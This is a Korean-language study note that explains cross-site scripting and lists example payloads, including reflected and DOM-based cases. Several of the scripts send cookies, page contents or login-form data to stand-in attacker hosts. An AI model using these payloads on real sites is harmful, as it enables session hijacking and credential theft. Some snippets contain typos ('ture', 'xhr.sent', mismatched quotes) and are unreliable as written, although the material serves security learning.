XSS(Cross-Site Scripting)
공격자가 사용자의 브라우저에서 악성 스크립트를 실행하도록 하는 웹 보안 취약점
→ 공격자는 사용자의 세션을 탈취하거나, 웹 페이지의 내용을 조작하고, 혹은 다른 악의적인 행동을 행할 수 있음
XSS는 주로 세 가지 유형으로 나뉨
<script>alert('XSS 공격 발생');</script>
-> 단순 경고창 띄우기
-> 실제로는 쿠키를 탈취하거나 악성 사이트로 리디렉션하는 등의 복잡한 스트립트가 사용될 수 있음
<script>document.location='http://attacker.com/steal_cookie?c='+document.cookie;</script>
-> 사용자의 쿠키 정보를 공격자가 지정한 서버로 전송하는 스크립트
<script>prompt(45)</script>
<script>confirm(45)</script>
-> alert가 필터링이 되는 경우 대체<script>
var img = new Image();
img.src = "http://attacker.com/stealcookie.php?cookie=" + document.cookie;
</script>
-> 사용자 쿠키를 탈취해 세션 하이재킹 시도
<script>
document.body.innerHTML= '<h1>You have been hacked</h1>';
</script>
-> DOM을 조작해 사용자가 보는 내용을 변경 가능
<button onclick="document.location='http://malicious-site.com';">Click me</button>
-> 버튼 클릭과 같은 이벤트에 악성 코드 삽입 가능
<iframe src='http://malicious-site.com"></iframe>
-> 악성 IFrame을 삽입해 사용자가 알지 못하는 사이 악성 사이트로 접속하게 함
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/stealdata?data=" + document.body.innerHTML, true);
xhr.send();
</script>
-> AJAX 요청을 통해 사용자 데이터를 공격자 서버로 전송할 수 있음
<div style="background-img: url('javascript:alert(1)')">Attack</div>
-> HTML 또는 CSS 태그 내에 스크립트를 숨겨서 공격할 수 있음
<script>
document.getElementById('target').innerHTML = '<h2>You have been hacked!</h2>';
</script>
-> 다른 페이지 요소의 'innerHTML'을 조작해 사용자가 보는 콘텐츠를 변경함
<img src="invalid-image.jpg" onerror="alert('XSS Attack!')">
-> 이미지 태그의 'onerror' 이벤트를 이용해 스크립트를 실행함
<body onload="alert('XSS Attack!')">
-> 페이지가 로드될 때 악성 스크립트를 실행함
<script>
var form = document.forms[0];
form.onsubmit = function() {
var data = new FormData(form);
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/stealdata", ture);
xhr.send(data);
};
</script>
-> 로그인 폼 등의 데이터를 공격자 서버로 전송하는 스크립트<img src="xss.jpg" onerror="alert('XSS');">http://exam.com/search?q=<script>alert('XSS');</script> 이 URL을 사용자가 클릭하면, ‘q’ 파라미터에 포함된 스크립트가 서버에 그대로 반사되어 브라우저에서 실행됨<form action="http://exam.com/search">
<input type="text" name="query" value="<script>alert('XSS')</script>">
<input type="submit" value="Search">
</form>
-> 폼 입력 필드에 악성 스크립트를 삽입해 제출
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://exam.com/page', true);
xhr.setRequestHeader('Referer', '<script>alert("XSS")</script>);
xhr.send();
</script>
-> Referrer헤더를 통해 전달되는 데이터를 반영하는 경우 공격이 가능하다.
http://example.com/redirect?url=javascript:alert('XSS')
-> 사용자가 URL에 악성 스크립트를 삽입하고 리다이렉트되도록 유도하는 오픈 리다이렉트 공격
http://example.com/welcom?message=<script>alert('XSS')</script>
-> 이메일에 포함된 링크를 클릭할 때 URL에 악성 스크립트를 포함시킨다.
http://example.com/page
-> HTTP 헤더에 악성 스크립트를 삽입해 반영되도록 유도한다.
http://example.com/search?term=<script>alert('XSS')</script>
-> 검색 기능이 있는 페이지에서 사용자 입력을 제대로 필터링하지 않을 때 발생한다.
http://example.com/error?msg=<script>alert('XSS')</script>
-> 오류 메시지에 사용자의 입력값이 그대로 반영될 때 발생 가능하다.
http://example.com/image?src=<img src=x onerror=alert('XSS')>
-> 이미지 태그의 'src' 파라미터를 사용해 악성 스크립트를 실행한다.
http://example.com/profile?name=<script>alert('XSS')</script>
-> 동적으로 생성되는 콘텐츠에 사용자가 입력한 값이 반영될 때 발생한다.<a href="javascript:alert('XSS');">Click me</a>http://victim.com/?q=<script>fetch('http://attacker.com/steal_cookie?c='+document.cookie)</script>var user_input = location.hash.substring(1);
document.getElementById("output").innerHTML = user_input;
-> 'location.hash'는 URL의 해시(#) 뒤에 있는 값을 가져옴
-> 공격자가 URL을 조작하면, 'output'요소에 스크립트가 삽입되어 실행됨
<script>
var query = document.location.search;
document.write(query); // 악성 스크립트 실행
</script>
-> URL의 쿼리 파라미터에서 값을 읽어와 DOM에 삽입하기
<script>
var user_input = '<script>alert("XSS")</script>';
document.write(user_input); // 악성 스크립트 실행
</script>
-> 'document.write()' 메소드를 사용해 페이지에 동적으로 콘텐츠를 추가할 때 발생한다.
<div id="content"></div>
<script>
var user_input = '<script>alert("XSS")</script>';
document.getElementById('content').innerHTML = user_input; // 악성 스크립트 실행
</script>
-> 사용자의 입력값을 HTML 요소의 'innerHTML'속성에 직접 삽입할 때 발생한다.
<script>
var user_input = 'alert("XSS")';
eval(user_input); // 악성 스크립트 실행
</script>
-> 'eval()' 함수를 사용해 사용자의 입력값을 코드로 실행할 때 발생한다.
<script>
var user_input = 'alert("XSS")';
setTimeout(user_input, 1000); // 악성 스크립트 실행
</script>
-> 'setTimeout()' 함수를 사용해 동적으로 생성된 코드를 실행할 때 발생한다.
<script>
var hash = location.hash.substring(1);
document.write(hash); // 악성 스크립트 실행
</script>
-> URL의 해시(fragment) 부분을 사용해 DOM에 스크립트를 삽입할 때 발생한다.('location.hash')var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attack.com/steal_cookie?c=" + document.cookie, true);
xhr.sent();
-> 사용자의 쿠키를 공격자 서버로 전송하는 코드XSS가 터지면 원하는 자바스크립트 코드를 실행 가능함
XSS로 자바스크립트 실행 → 자바스크립트 코드 실행으로 인한 웹 브라우저 엔진 해킹 → 상대 방의 컴퓨터와 연결 → 상대방의 컴퓨터 조작 가능 → 일반 유저 권한을 루트 권한으로 권한 상승 → 백도어심기/중요 정보 탈취 → 침입 흔적 삭제, 백도어를 통해 진입